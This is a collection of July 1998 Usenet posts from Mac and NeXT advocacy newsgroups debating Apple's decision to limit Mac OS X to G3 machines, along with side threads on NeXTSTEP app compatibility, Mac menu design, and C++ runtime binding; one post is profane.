> > I, too, would like to know what motivates Apple Apologist like Don
> Brown, for whom
> > Apple-Can-Do-No-Wrong(tm). He doesn't sound like a customer, who would
> logically
>
> That's funny. In another thread he was called a MS butt-kisser and apologist.
>
> > expect better support, not less. He sounds more like an Apple employee
> or someone
> > who stands to lose if Apple does the right thing by its customers. My
> motivation is
> > obvious: I want Apple to support my machine. His motivation is opaque and runs
> > completely counter to commonsense. This "Apple is going to die if it
> doesn't make a
> > quick buck off of new G3s" or "Apple is going to die if it has to
> support Macs sold
> > more than 2 months ago" slogans look pretty pathetic given Apple's recent $101
> > million dollar profit. Apple CAN and SHOULD do the right thing by their
> customers.
>
> I think you're misrepresenting what Don says. I happen to agree with him
> on this point.
It'd be so nice to see some verifiable facts. So far the fact that you
two agree here is based on "'cause it feels right and we trust Apple"
factor.
> It would be very nice if Mac OS X ran on the pre-G3 Macs. I'd love to see
> it. But not at the expense of putting Apple back into the red.
This expense factor gets quoted _a_lot_ here - any verifiable figures?
> Apple has only recently restored its credibility and reduced its overhead
> and staffing to the point that they can make money. They need to sustain
> this for a while.
Yes, so?
> Supporting Mac OS X on previous machines is not going to be free. The cost
> to do it and then support it is real. Apple has considered the cost and
> benefits and decided that they can't afford to do it at this time.
Sure it costs something, but folks also paid for '97 Apple-branded
hardware in good faith that the cost included compatibility with the
upcoming modern OS. Folks would pay for this w=FCnder-OS in cash.
Doesn't Apple's future also depend on the acceptance of YellowBox
solutions?
And again I ask, how do you know that Apple based their decision on
"cost and benefits", and again, based on what kind of figures? If you
say "Apple has considered...", please show us evidence. You wouldn't
just say it because it "feels right and you trust Apple", would you?
> What's the alternative? Let's see:
>
> 1. Apple tries to support pre-G3 Macs (where do you draw the line, btw?
> 7500? 6100? 7200? 6400?). The project balloons into another Copland
> fiasco. Apple starts to lose money again and their new found credibility
> dries up.
How about not redrawing any lines and keeping to that "January 7, 1997
and later" statement that many of us based our Rhapsody-compatible
hardware purchases on? Microkernels don't balloon, that has been
already explained to you.
> 2. Apple says that the initial release will be G3 only, but that they'll
> work on earlier Macs later. By the time they get Mac OS X out the door and
> Sonata, they pre-G3 Mac OS X slips by 1-2 years. By then, the affected
> computers are > 3-4 years old. What's the point.
Just tell me, if mkLinux guys manage to add support to new boards in a
couple of months of their off-duty time... where on earth did you pull
that 12-24 months delay?
> 3. Apple promises support for G3 machines, but after 2 years finds that
> not enough people are interested in it to finish the work. Apple drops the
> project and promptly gets sued by consumers for fraud.
Get some caffeine. I take it you mean "pre-G3 machines" here?
They already promised (oh, they delayed it and changed the name too,
uh) support for the '97 and later pre-G3 systems lest you forgot.
What's this "after two years" talk again?
Millions of nice Apple-branded PowerPC systems are currently being
made obsolete by dooming them to run effectively single-tasking
non-crash-proof OS. The OS, Classic Mac OS, is going to get yet
another unproven layer (for Carbon compatibility) tacked on its
patched monolithic core and soon all new (Carbon) software should run
on this mess with adequate stability? It'll be 1999 next year and
expecting the above to be viable when the real modern OS could be made
to run on these systems as easily (or easier) does indeed sound like a
fraud.
> 4. Apple promises support for pre-G3 Macs by next spring and makes every
> effort to deliver. This would undoubtedly be ideal, but Apple has said it
> can't be done. Unless you have some evidence that it can be done, you have
> to rely on their word. No one in this group knows what's happening at
> Apple as well as Apple does.
Apple has already promised to support their '97 or later systems.
Where has Apple said it can't be done??
Any verifiable facts or just "it feels right and I trust Apple"? What
word of Apple's do we have to rely on here?
I appreciate your devout (Mac, not Apple) advocacy but please, please
don't just keep repeating this "Apple knows it can't be done" stuff
unless you have at least _some_ evidence to back it up. Does repeating
it make it come true in your eyes? Folks are upset because Apple
doomed their machines obsolete prematurely and doesn't even bother
explaining why. It was a major decision by any yardstick and it'd be
nice to have Mr Avie Tevanian himself address the owners of obsoleted
Power Macintoshes with real technical or financial reasons for this
unprecedented ejection. Does it take a live Question & Answer session
at Macworld to get answers?
Rgds,
--
taiQ
[this space is intentionally blank]
From: rr6013@yahoo.com
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: CompUSA iMac orders stronger than expected
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References: <derekc-2907980109260001@as5300-5-59.roc.ny.frontiernet.net> <macghod-2807982355590001@sdn-ar-001casbarp204.dialsprint.net>
<jpolaski-2907980954020001@d150-233.ce.mediaone.net> <macghod-2907980953440001@sdn-ar-002casbarp235.dialsprint.net>
<joe.ragosta-2907981404250001@wil73.dol.net>
Message-ID: <x8Nv1.8583$7k7.12087052@news.rdc1.sdca.home.com>
Date: Wed, 29 Jul 1998 22:13:49 GMT
NNTP-Posting-Date: Wed, 29 Jul 1998 15:13:49 PDT
Organization: @Home Network
In <joe.ragosta-2907981404250001@wil73.dol.net> Joe Ragosta wrote:
> I should have saved the URL because I couldn't find it, but one of the Mac
> sites quoted a CompUSA store manager who said that in his store, there
> were over half as many iMac preorders (with $250 deposit) in two days as
> there were Win98 preorders in several weeks.
>
>
Joe, don't believe everything you read. I worked at CompUSA. Their managers
will say whatever marketing wants to drive demand. Get a clue...
> Hmm. Only a couple of days to get 1/2 as many orders as Win98? When Win95
> has so much higher market share? And when you're comparing a $90 software
> product to a $1300 hardware product?
>
>
CompUSA does not have any information system that could report comparative
statistics against differing Vendors sales in "only a couple days".
-r
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-iZdiXcDbOLKd@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6peuo4$3d2$1@ironhorse.plsys.co.uk> <FIiROLCWddLd-pn2-LqHtQgYcutcv@localhost> <joe.ragosta-2807980732310001@wil43.dol.net> <FIiROLCWddLd-pn2-FgMwY6ZvyiSH@localhost> <joe.ragosta-2907980753420001@wil64.dol.net>
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Date: 29 Jul 1998 22:14:32 GMT
Organization: IBM.NET
On Wed, 29 Jul 1998 11:53:42, joe.ragosta@dol.net (Joe Ragosta)
thought aloud:
> In article <FIiROLCWddLd-pn2-FgMwY6ZvyiSH@localhost>,
> pit@iohk.SPAM-NOT.com (taiQ) wrote:
>
> > And Joe, in another thread I asked you to explain your comment on how
> > MOSX would need kludges to support '97 PCI Powermac designs... I'd
> > still be interested in learning about those kludges you mentioned.
>
> I don't think I said it would require kludges. Perhaps there was something
> funny in the context that I was referring to.
I think you did. I see nothing particularly funny in the contect.
this is what you said:
- - - - - - - - - begin quote - - - - - - - - - -
Newsgroups:
comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.mac.system
Subject: Re: Another Apple first: Planned obsolescence of hardware
<joe.ragosta-2307980618450001@elk33.dol.net>
On Thu, 23 Jul 1998 10:18:44, joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6p6tvl$uq8$1@bunyip.cc.uq.edu.au>, "Christopher Smith"
> <drsmithy@usa.net> wrote:
> > Microsoft jump through far more hoops than they should (IMHO) to support
> > older hardware. Witness the kludge that is Win95 for proof.
>
> Which is exactly what Apple is trying to avoid.
>
> MS has 10 times the resources and they were unable to support older
> hardware without what _you_ call a kludge. Apple will continue to offer
> the kludge (Win95-type) solution in Mac OS 8.5, Sonata, and maybe more.
> OTOH, Apple want to have an OS which is _not_ a kludge, and that requires
> a break with the past. That's Mac OS X.
- - - - - - - - - - - end quote - - - - - - - - - -
So I ask again. Could you kindly explain what kind of _kludges_ would
it take to get Mac OS X to support the '97 Power Macintoshes?
> In general, though, the switch from Rhapsody to Mac OS X is a relatively
> large step in many regards:
Now, "relatively large step" sounds somewhat better than the earlier
stance that Mac OS X (the Son of Rhap) would be a different beast of
an OS altogether.
> New kernel
> Net imaging model
> New (Carbon) APIs
> New driver model.
>
> Now, the better Apple has done on modularity, the easier this will be. But
> that's not a trivial change in any event. I've been involved in product
> testing with Apple and know how much work it takes to test even an
> incremental upgrade. The testing on Mac OS X will be huge.
What matters in the above grand-sounding list is basically the kernel
that interfaces the other layers with hardware and you should know
about all that mkLinux stuff already.
What's left is the real issue: testing.
Apple could very likely add support for '97 Apple-branded Power
Macintosh boards to the microkernel very quickly. Many developers,
happy to have their HW supported would even provide substancial
testbed services free of charge. While the G3 board revisions
naturally take priority it would not take great effort to provide
acceptable support for the '97 pre-G3 systems.
Happy customers will return to buy new hardware later on, and the '97
designs would then be still boosting the size of YellowBox market.
Dump recent customers without as much as an explanation and a serious
backlash follows. I've seen many folks believing that by just adding a
G3 card to their non-G3 Macs will make them qualified for the new
modern OS. When all these folks, and gawd forbid, the mainstream press
finds out what Apple is doing you'll see things turning ugly for
Apple.
If I loved Apple _as_much_ as you do, I wouldn't wait for another
minute to start lobbying for support for the post-cut-off date Macs at
least. You can either mail Apple directly, or visit
http://www.xlr8yourmac.com/osx_petition.html
Brgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-968n2H0vJgLO@localhost>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu> <mazulauf-2407981051100001@grumpy.met.utah.edu> <MPG.10239d85c7aea4289899f7@news.supernews.com> <35BE0268.1B22EC9D@earthlink.net> <joe.ragosta-2907980850290001@wil64.dol.net>
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Date: 29 Jul 1998 22:14:09 GMT
Organization: IBM.NET
On Wed, 29 Jul 1998 12:50:29, joe.ragosta@dol.net (Joe Ragosta)
thought aloud:
> In article <35BE0268.1B22EC9D@earthlink.net>, jontemple@earthlink.net wrote:
>
> > MacOS X is a whole new project from Copland, yes. It is not a whole new
> > project from Rhapsody, however, which supports the PCI Macs. MacOS X is
> > nothing more than version 2 of Rhapsody; even the name change of Rhapsody to
> > MacOS X Server makes that continuity clear. Dropping PCI Mac support from
> > MacOS X when they are already supported by version 1 of that OS is exploitive
> > and wrong.
>
> I wonder how many times I'll have to repeat this before it sinks in?
Until you start repeating the relevant stuff? :^)
> Mac OS X is different from Rhapsody (aka Mac OS X Server) by:
>
> New kernel
> New graphics model
> New APIs
> New driver model
>
> It's not the same thing.
And NT 4 is not the same as NT 5. Now, isn't the Son of Rhap based on
the Mach 3 microkernel - more or less the same kernel (except with
good ol' NIH elements) that is found on current mkLinux which supports
pre-G3 Power Macintoshes quite admirably (considering the support has
been written bunch of volunteer working on their own time)? Again,
isn't it the kernel (in microkernel-based OSes) that interfaces with
the hardware on one side and with OS (drivers, APIs etc.) on the other
side?
Microkernels exist for the exact reason to make OSes as little
dependant on the hardware as possible. The facts that Rhap (Unified),
aka Mac OS X Server, needs all these new fittings and it's also played
down by Apple scream "stop-gap", "public beta 1" and
"feature-incomplete".
Mac OS X will be (if, if and if, knowing Apple) the conclusion of a
long and winding beta project called Rhapsody.
Rgds,
--
taiQ
[this space is intentionally blank]
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-ZxTDCFZRuYwy@localhost>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net> <joe.ragosta-2907980846230001@wil64.dol.net>
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Date: 29 Jul 1998 22:14:26 GMT
Organization: IBM.NET
On Wed, 29 Jul 1998 12:46:23, joe.ragosta@dol.net (Joe Ragosta)
thought aloud:
> In article <Josh.McKee-2807981805580001@pm3a10.rmac.net>,
> Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > > I wouldn't say it doesn't mean anything. It would be very, very nice if I
> > > could run Rhapsody on my old IIsi. But it's not going to happen and there
> > > are other factors I consider more important.
> >
> > We're not talking about running Mac OS X on a IIsi Joe, we're talking
> > about running it on very recent hardware which was only recently
> > discontinued. Combine that with no real reason why this OS couldn't run
> > on these systems, and it makes it that much worse.
>
> There _is_ a reason. It's been explained over and over. The cost of
> putting Mac OS X onto older hardware and supporting it is too high for
> Apple in its current condition to support.
And once again, where did Apple state this, and what kind of cost
figures are we talking about? Surely you can back up a statement that
you keep "explaining" over and over again.
Rgds,
--
taiQ
[this space is intentionally blank]
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Date: 29 Jul 1998 22:33:42 GMT
Organization: Cygnus Solutions
Message-ID: <6po806$ajo$1@cronkite.cygnus.com>
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com>
<6pns4i$bhj$1@nnrp1.dejanews.com> <35bf7b63.0@news.depaul.edu>
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Cc: spagiola@my-dejanews.com
In <6po5st$pdi$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > In comp.sys.next.advocacy spagiola@my-dejanews.com wrote:
> > > Some time ago I asked about the possibility of writing a "Black Box"
that
> > > would allow NeXTSTEP apps to run under Rhapsody. I got several
responses
> > > indicating that it probably would be feasible (and easier to do than
writing
> > > the Blue Box was) but that the people who could do it probably have
better
> > > things to do with their time. Like writing native Rhapsody apps.
> >
> > If you have a Mac, it'd probably be better to just use VirtualPC to
> > run NeXTSTEP/Intel.
>
> I was speaking (as I believe was the original poster) of whether it would
be
> possible to run old NeXTSTEP apps under Rhapsody, not under the current Mac
> OS. Now, if one could run NeXSTEP/Intel under Virtual PC running in the
Blue
> Box under Rhapsody, that sure would be something!
>
> It would not, however, solve the problem of running Improv, since Improv
was
> never compiled for NeXTSTEP/Intel.
>
That, and at one poitn someone said that VPC wouldn't run under the blue box.
That may have changed... I'd appreciate any info if it has changed, or if it
is something either party involved plans to fix.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: Jay Riley <jay.riley@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 29 Jul 1998 22:44:11 GMT
Organization: DATAMAGIK
Message-ID: <6po8jr$m44@lace.colorado.edu>
References: <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <Pine.BOS.3.96.980720211635.1874A-100000@fbnp> <joe.ragosta-2107980825210001@0.0.0.0>
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joe.ragosta@dol.net (Joe Ragosta) :
> In article <Pine.BOS.3.96.980720211635.1874A-100000@fbnp>, Tyler Riti
> <fizzboy@mail.utexas.edu> wrote:
>
> > On 21 Jul 1998, Kenneth C. Dyke wrote:
> >
> > >>Unlike Apple, Be listens to their developers. ^_^
> > >
> > >Yeah, obviously Apple wasn't listening at all when they decided to do
> > >Carbon to assist existing MacOS developers instead of forcing them to
> > >rewrite everything. They also apparently weren't listening when they
> > >added stuff like NSDocument, NSWindowManager, NSUndoManager, etc. to
> > >DR2 YellowBox.
> >
> > Hey hey hey... I am just as much a Mac user as you. I was even a MacOS
> > developer before I started developing for BeOS. What made me switch? At
> the
> > time, Be's fees for becoming a developer were zero. Apple? $250 for the
> > cheapest program. When you're a starving college student, stuff like that
> > matters. Of course, now things are a little different but Be's dev program
> > still remains a good deal because you get the full version of Codewarrior
> > for free. You give a little, you take a little.
>
> Actually, IIRC, Apple's cheapest program is also free-you download the
> tools you need at no cost.
Actually up until recently what's now called "Select" developer status was
$250 and there was no free option. The free "Online" status came into being
when Apple (a couple of months back IIRC) bumped their "Select" up to $500.
I was going to renew my Select membership, but am re-evaluating this in light
of the increase. The $500 is fine if you need a lot of support from Apple,
but usually if I've found a problem with MacOS it has in fact been MacOS (or
hardware) and I've never had a "support incident" in my 12 years of Mac
programming.
Regards,
Jay Riley/Owner, DATAMAGIK
[Mac email to datamagik@usa.net]
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 jay.riley@usa.net
Posted from BeOS for PowerPC, Release 3.1
From: Jay Riley <jay.riley@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 29 Jul 1998 22:45:16 GMT
Organization: =?ISO-8859-1?Q?=3F=04=3F=04?=
Message-ID: <6po8ls$m44@lace.colorado.edu>
References: <35b57b12.0@news.depaul.edu> <B1E0AE57-1BF4E@128.138.177.230> <6phd87$k04$1@nnrp1.dejanews.com>
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quinlan@my-dejanews.com :
> In article <B1E0AE57-1BF4E@128.138.177.230>,
> "Jay Riley" <datamagik@usa.net> wrote:
>
> > The objects can be
> > implemented identically at the machine level.
>
> No they cannot be. C++ does not allow you to bind objects to methods at
> runtime.
I beg to differ. That is implementation specific. Where in the language
definition in 1st or 2nd edition C++ (Stroustrup's book) do you see a run
time architecture defined?
Regards,
Jay Riley/Owner, DATAMAGIK
[Mac email to datamagik@usa.net]
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 jay.riley@usa.net
Posted from BeOS for PowerPC, Release 3.1
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 29 Jul 1998 17:20:53 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pnlll$kdu@newsb.netnews.att.com>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980728103229.17041F-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2807981531280001@news> <Pine.SOL.3.96.980728230635.5319C-100000@ux9.cso.uiuc.edu>
Originator: gupta@tlctest
Pulsar <tokarek@uiuc.edu> wrote:
>
>Furthermore, I _never_ said that the mac should have a taskbar that
>behaves _exactly_ like Windows'. If you had actually read my posts you
>would have seen that I said that the buttons on a Mac taskbar would
>represent applications. I know bloody well what they represent in Windows
>and that is why I have said the Windows taskbar is not perfect.
( I do not have any experience with Windows 98.) : Today's Asbury Park Press
carried a picture of Windows 98 "Active Desktop". It looks like that the
taskbar is modified quite a bit -- the start button is there, and the little
section of the taskbar that appears on the right, with the time, volume
control etc., appears greatly expanded. The open-windows list appears to be
now a pop-up or scrolling list -- that is, it is now closer to the
Macintosh's application menu.
-arun gupta
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 15:54:03 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2907981554030001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <35bd8b31.0@nnrp1.news.uk.psi.net> <35BDFB8F.FF6841C8@ericsson.com> <6pkvi0$ffe$1@lwnws01.ne.highway1.com> <35BE18C1.9174ADB0@exu.ericsson.se> <6plbdv$lom$2@lwnws01.ne.highway1.com> <35BE358B.E6A2F81F@ericsson.com> <6plfbk$nqj$1@lwnws01.ne.highway1.com>
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In article <6plfbk$nqj$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> The lack of
> indicators, IMO, makes the mac menu more inconsistent; at the top level there
> is no indication that a menu will popup, yet when you get to sub levels,
> there if you select an item, again, with no indicator, instead of more menus
> poping up, it does nothing (till you release it for action instantiation).
>sigh< Again, the Mac menu system is NOT inconsistent. There are TWO
widgets: the menu bar, and the menus. The menu bar is consistently
horizontal and contains only menus (except for the clock, which has been
explained elsewhere). Each of these menu items, when clicked, will bring
down the menu. The menus are consistently vertical, and can contain
individual items or submenus. Submenus are marked with an indicator; items
are not. Furthermore, items which bring up a dialog box before executing
their command end with a "Š."
The only inconsistency is yours, in thinking that the menus and the menu
bar do (or should) are the same widget, and thus should have the same
indicators. They aren't, and they don't.
Andy Bates.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <35BE8245.381E@launchnet.com> <6pnhrl$9d3@shelob.afs.com> <6pns4i$bhj$1@nnrp1.dejanews.com> <35bf7b63.0@news.depaul.edu> <6po5st$pdi$1@nnrp1.dejanews.com>
Message-ID: <35bfb542.0@news.depaul.edu>
Date: 29 Jul 98 23:50:26 GMT
In comp.sys.next.advocacy spagiola@my-dejanews.com wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> > If you have a Mac, it'd probably be better to just use VirtualPC to
> > run NeXTSTEP/Intel.
> I was speaking (as I believe was the original poster) of whether it would be
> possible to run old NeXTSTEP apps under Rhapsody, not under the current Mac
> OS. Now, if one could run NeXSTEP/Intel under Virtual PC running in the Blue
> Box under Rhapsody, that sure would be something!
I'm assuming that Virtual PC will eventually appear on MacOS/X or
OS/X Server, in a version that doesn't need the BlueBox or Carbon.
It'll be a while, but it's much more likely (and would appear sooner)
than a black hardware emulator.
You're right about the black-only software issue, though. I wonder
what it would take to convert a 68k NeXTSTEP binary to i386. Something
like the DEC Alpha software that gradually recompiles an x86 binary
to Alpha code as you use the x86 app, leaving you with an Alpha
version. (I think)
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 29 Jul 1998 23:38:07 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pobov$1ks$1@nnrp1.dejanews.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <slrn6rtgs5.q9t.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6pmooa$u1p$1@nnrp1.dejanews.com> <joe.ragosta-2907981244410001@wil47.dol.net> <6pnsqt$c9l$1@nnrp1.dejanews.com> <joe.ragosta-2907981552120001@wil38.dol.net>
In article <joe.ragosta-2907981552120001@wil38.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Not true. WinNT has support for a lot fewer peripherals than Win95. And
> it's twitchy about some that are allegedly supported.
That is not Microsoft's problem, it's a peripheral vendor problem. The same
problem will probably exist between Mac OS X and Mac OS 9. BTW, which drivers
do you think most vendors will write? Versions for OS X or Mac OS 9? If some
only do the former then that's another way that the users of older computers
get screwed.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
References: <35b57b12.0@news.depaul.edu> <B1E0AE57-1BF4E@128.138.177.230> <6phd87$k04$1@nnrp1.dejanews.com> <6po8ls$m44@lace.colorado.edu>
Message-ID: <35bfb655.0@news.depaul.edu>
Date: 29 Jul 98 23:55:01 GMT
In comp.sys.next.advocacy Jay Riley <jay.riley@usa.net> wrote:
> quinlan@my-dejanews.com :
> > In article <B1E0AE57-1BF4E@128.138.177.230>,
> > "Jay Riley" <datamagik@usa.net> wrote:
> >
> > > The objects can be
> > > implemented identically at the machine level.
> >
> > No they cannot be. C++ does not allow you to bind objects to methods at
> > runtime.
> I beg to differ. That is implementation specific. Where in the language
> definition in 1st or 2nd edition C++ (Stroustrup's book) do you see a run
> time architecture defined?
So in other words, C++ does not allow you to bind objects to methods
at runtime.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Julian Garrett" <jrg40@elec.canterbury.ac.nz>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Why does Apple call my P2 a snail?
Date: Thu, 30 Jul 1998 11:53:01 +1200
Organization: University of Canterbury
Message-ID: <6pock2$sab$1@cantuc.canterbury.ac.nz>
References: <35b94d45.0@news.velocity.net> <Macghod-2507980008080001@sdn-ar-001casbarp150.dialsprint.net> <joe.ragosta-2507980725260001@elk80.dol.net> <35ba3eec.4914453@198.0.0.100> <35BA6F56.14934D0C@bellsouth.net> <joe.ragosta-2607980822230001@elk85.dol.net> <35BB7716.1168A33E@bellsouth.net> <Macghod-2607981536150001@sdn-ar-001casbarp113.dialsprint.net>
>Oh, so you agree with Joe that it was the p2 and not win nt that caused
>the vessel to stop dead in the water? I say this, because in ANOTHER post
>I stated that our government agencies, ESPECIALLY the armed forces, should
>ditch win nt for openstep/rhapsody. But I guess I should ammend this,
>since according to Joe the p2 was the cause, and since many government
>agencies would use the p2 to run openstep, we cant have this since the p2
>will cause the computer running openstep just stop dead. Uh huh!
><sarcasm> You take that you Next users, we Mac users be way technically
>smarter than you ever be! </sarcasm>
Fuck right off!!!!!!!!!!!!, the last fucking thing the military needs is
another pooter system to learn how to use, let alone one that they trust to
run boats. Fuck, just imagine if that had been a submarine, or if they had
been in war. Too much fucked technology is bad at the best of time, but when
you absolutely need it to work, like you do on most military equipment, it
can start costing a lot of lives. I can't fucking beleive that the military
was so fucked in the head that they'd let NT run their ships. Thats the
difference between the men on the ground and the people in suits that make
the decisions. You ask any combat officer if he wanted a buggy OS anywhere
near his piece of kit, and he'd bash you. You need simple systems, that
anyone can pick up and work out how to use with a minimum of fuss, and
doesn't do anything thats not expected of it. In war, most of the high tech
shit gets dumped very quickly as the soldiers, sailors, whetever, go back to
what they KNOW won't let them down. Some really high tech stuff works well,
but it ain't fucking NT, in fact, it has an OS that your average 10 year old
would be able to use. (thats the mental age of most soldiers I
beleive..........:)
Julian Garrett
yes, I was an infantry officer
From: "Jay Riley" <datamagik@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server release - timing and price?
Date: 29 Jul 98 17:56:59 -0600
Organization: University of Colorado at Boulder
Message-ID: <B1E512F6-23F7E@128.138.177.229>
References: <6pna5f$j78$1@nnrp1.dejanews.com>
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nntp://news.colorado.edu/comp.sys.mac.advocacy
On Wed, Jul 29, 1998 8:04 AM, spagiola@my-dejanews.com
<mailto:spagiola@my-dejanews.com> wrote:
> Has anyone heard anything at all about the precise timing of the release
of
> Mac OS X server (aka Rhapsody 1.0) and about its pricing? And ordering
> options (eg can one specify it come pre-installed on new hardware)?
>
> We're in Q3 now, which means Apple has two more months to ship it if it
sticks
> to the schedule announced at WWDC. It sure would be nice to be able to
plan
> ahead a little.
>
> Stefano Pagiola
>
> spagiola@my-dejanews.com
>
> My opinions alone
>
> Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
> Rhapsody user
>
I don't recall the exact timing but the preview release "MacOS X Server,
Consumer Release 1" is due within a month or two. This will not be the
final release (IIRC), but the first version complete enough for consumer
evaluation.
I expect this release to split the mac-bashers into two distinct groups:
conspicuously silent, and hysterically in denial.
Look for more postings about how cheap somebody's no-name PC with cheap
parts and missing components are...you know, the kind that can barely run
Microsoft Windows and no one who actually wants to be productive on their
computer would use!
Regards,
Jay
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 datamagik@usa.net
From: Landivar2 <landivar2@geocities.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Wed, 29 Jul 1998 18:31:07 -0500
Organization: TCA Networks, College Station Texas 409.693.8885
Message-ID: <35BFB0BB.1AB6@geocities.com>
